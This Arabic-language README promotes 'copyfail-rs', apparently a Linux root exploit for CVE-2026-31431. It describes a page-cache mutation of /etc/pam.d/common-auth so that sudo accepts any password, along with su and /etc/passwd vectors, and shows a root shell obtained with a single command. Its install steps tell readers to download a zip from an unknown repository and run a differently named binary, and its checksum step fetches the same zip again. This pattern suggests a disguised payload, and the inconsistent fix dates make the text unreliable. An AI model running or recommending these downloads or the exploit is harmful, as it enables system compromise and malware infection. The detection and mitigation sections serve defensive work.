
استغلال واكتشاف ثغرات CVE-2026-31431 باستخدام ملف ثنائي ثابت يراقب سلامة النظام ويتجاوز مصادقة PAM.
PoC متعدد المتجهات + كشف مصاحب لـ CVE-2026-31431 (CopyFail). يتضمّن متجه تجاوز مصادقة PAM جديدًا لا توفّره أي PoC عامة أخرى. وضع الكشف يلتقط ما لا تستطيع AIDE / Wazuh / OSSEC / Tripwire التقاطه بنيويًا.
ملف ثنائي ثابت واحد. ~108 كيلوبايت. no_std musl.
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
أمر واحد. شل جذر. ضربة PAM القاضية في الخلفية (كتابة 4 بايت واحدة إلى /etc/pam.d/common-auth)، ثم هبوط PTY إلى الجذر عبر sudo مع كلمة مرور مهملة. سطر [sudo] password for noot: يومض للحظة فقط؛ sudo يعرض هذه المطالبة دائمًا، ويُمرّر الثنائي إليها أي سلسلة، فيتسلسل فشل pam_unix عبر pam_deny.so المُعطَّل بالتعليق ليصل إلى pam_permit.so ← جذر.
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← what's actually loaded (mutated)
disk: 117dab1c... ← what AIDE / Wazuh / Tripwire see (clean)
هذا هو المشروع. القرص نظيف والكاش متحوّر. كل أدوات FIM العامة عمياء. هذه الأداة ليست كذلك.
ملفات ثنائية ثابتة مُعدّة مسبقًا في إصدار v0.1.0. اختر معماريتك، ونزّلها، وشغّلها.
# x86_64 (most laptops + cloud servers)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
بنى أخرى:
| المعمارية | الملف |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
التحقق من السلامة:
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt
ملفات ثنائية ثابتة musl، بدون اعتماديات وقت تشغيل، وتعمل على أي نظام Linux.
تحوير كاش الصفحات (page cache). لا كتابة على مستوى VFS. لا صفحة متسخة. لا حدث inotify. إعادة الفحص الدورية تتسابق مع الإخلاء (eviction).
AIDE/Wazuh/OSSEC/Tripwire/Samhain تقرأ عبر إدخال/إخراج مخزّن ← page cache ← وتعتبر تجزئة البايتات المتحوّرة هي الحقيقة. أو بعد الإخلاء، تُجزِّئ القرص النظيف ← «لم يحدث أي تغيير إطلاقًا».
الكشف يتطلب O_DIRECT (تجاوز الكاش) + قراءة مخزّنة (إصابة الكاش) + فرق التجزئة. عدم التطابق = بصمة CopyFail. هذا هو --scan.
| المتجه | الهدف | مكان التأثير |
|---|---|---|
pam (جديد) | /etc/pam.d/common-auth (Debian/Ubuntu) أو system-auth (Fedora/RHEL/Arch) | 4 بايتات. auth requisite pam_deny.so ← #aut requisite pam_deny.so. Sudo بأي كلمة مرور = جذر. |
su | /usr/bin/su | تحوير نص الثنائي setuid. execve ← جذر. |
passwd | /etc/passwd | قلب UID ← يصبح المستخدم جذرًا عند تسجيل الدخول التالي. يكسر SSH لذلك المستخدم. |
الاختيار التلقائي: --vector auto (الافتراضي). يضع pam > su > passwd حسب التخفي. يتراجع إلى البديل عند الفشل.
| الوضع | الوظيفة |
|---|---|
--check | النواة + الوحدة + CONFIG_CRYPTO_USER_API_AEAD + حالة التخفيف. النتيجة: معرّض / مخفَّف / آمن. |
--scan | فرق قراءة O_DIRECT مقابل القراءة المخزّنة على الملفات الحرجة. يتفرّع عبر statfs(): ext4/xfs/btrfs تستخدم O_DIRECT، overlayfs يتراجع، tmpfs يُتخطّى. |
--baseline / --diff | لقطة لحالة نظيفة معروفة. قارن لاحقًا. الفروق المحصورة في الكاش فقط = بصمة CopyFail. |
--watch | برنامج خفي. فحص دوري. خروج نظيف عبر SIGTERM. |
--hunt | مسح شامل لأساطيل SSH. تجميعات JSON. |
--json في كل مكان للاستيعاب في SIEM.
detection/:
sigma/copyfail-af-alg.yml: قاعدة Sigma، ضعها في SIEM الخاص بكauditd/copyfail.rules: طبّقها عبر augenrules --loadebpf/copyfail-trace.bt: سطر bpftrace واحدapparmor/copyfail-block.profile: قاعدة رفض لـ AppArmor 3.0+mitigation/disable-algif.sh: قائمة حظر modprobe + تحذير =yecho "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
أو إصلاح النواة الرئيسية a664bf3d603d (أبريل 2026). حتى الآن: فقط Debian Sid/Forky أصدرت الإصلاح. Ubuntu LTS و RHEL و SUSE و Amazon Linux و Fedora و Arch و Oracle = جميعها معرّضة.
ملاحظة: CONFIG_CRYPTO_USER_API_AEAD=y (مدمج) يتجاوز modprobe بصمت. --check يحذّر.
بعد الاستغلال والتخفيف: يبقى التحوير في الكاش حتى إعادة التشغيل. التخفيف يمنع الاستغلالات الجديدة ولا يلغي الاستغلالات السابقة.
cargo build --release --target x86_64-unknown-linux-musl
| الهدف | الحجم |
|---|---|
| x86_64-musl | 108 KB |
| aarch64-musl | 96 KB |
| armv7-musleabihf | 86 KB |
no_std. لا مُخصِّص ذاكرة. لا اعتماديات وقت تشغيل. ملف ثنائي ثابت واحد.
الملفات المُجهزة مسبقًا ومجاميع SHA256 مرفقة بإصدارات GitHub.
انظر docs/usage.md للحصول على أمثلة عملية بحجم شاشة واحدة لكل وضع (exploit auto/list/all، detect check/scan/baseline/diff/watch/hunt).
للحصول على نسخة سردية أطول من هذا README (مزيد من السياق وشرح أعمق)، انظر BLOG.md.
انظر docs/threat-model.md.
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs | |
|---|---|---|---|---|
| المتجهات | su | su + passwd | su | su + passwd + PAM (جديد) |
| الكشف | لا شيء | لا شيء | لا شيء | كشف كامل --mode detect |
| أدلة الاستجابة للحوادث | لا شيء | لا شيء | لا شيء | Sigma + auditd + eBPF + AppArmor |
| تجربة استخدام المشغّل | 3 أوامر | 4 أوامر | 5 أوامر | أمر واحد |
| الملف الثنائي | يتطلب Python | ~10 كيلوبايت | ~5 ميجابايت | ~108 كيلوبايت ثابت |
أجهزتك الخاصة فقط. لا بوابة CLI (مسرحية أمنية). README + LICENSE = الإطار.
وضع الكشف للقراءة فقط. آمن في بيئات الإنتاج.
وضع الاستغلال يحوّر page cache في النواة. يقتصر على الذاكرة فقط، لكن تعامل معه كأداة تخريبية. يمنع المصادقة لأي مستدعٍ لاحق.
أُعلن عن CVE-2026-31431 بواسطة Theori / Xint بتاريخ 2026-04-29 (التقرير، مدونة Xint). PoCs عامة سابقة:
هذا المشروع (copyfail-rs): يضيف متجه تجاوز مصادقة PAM، وكشفًا ثنائي الوضع، وأدلة استجابة للحوادث.
MIT.
a664bf3d603d72548b093ee3 (4.14، أغسطس 2017)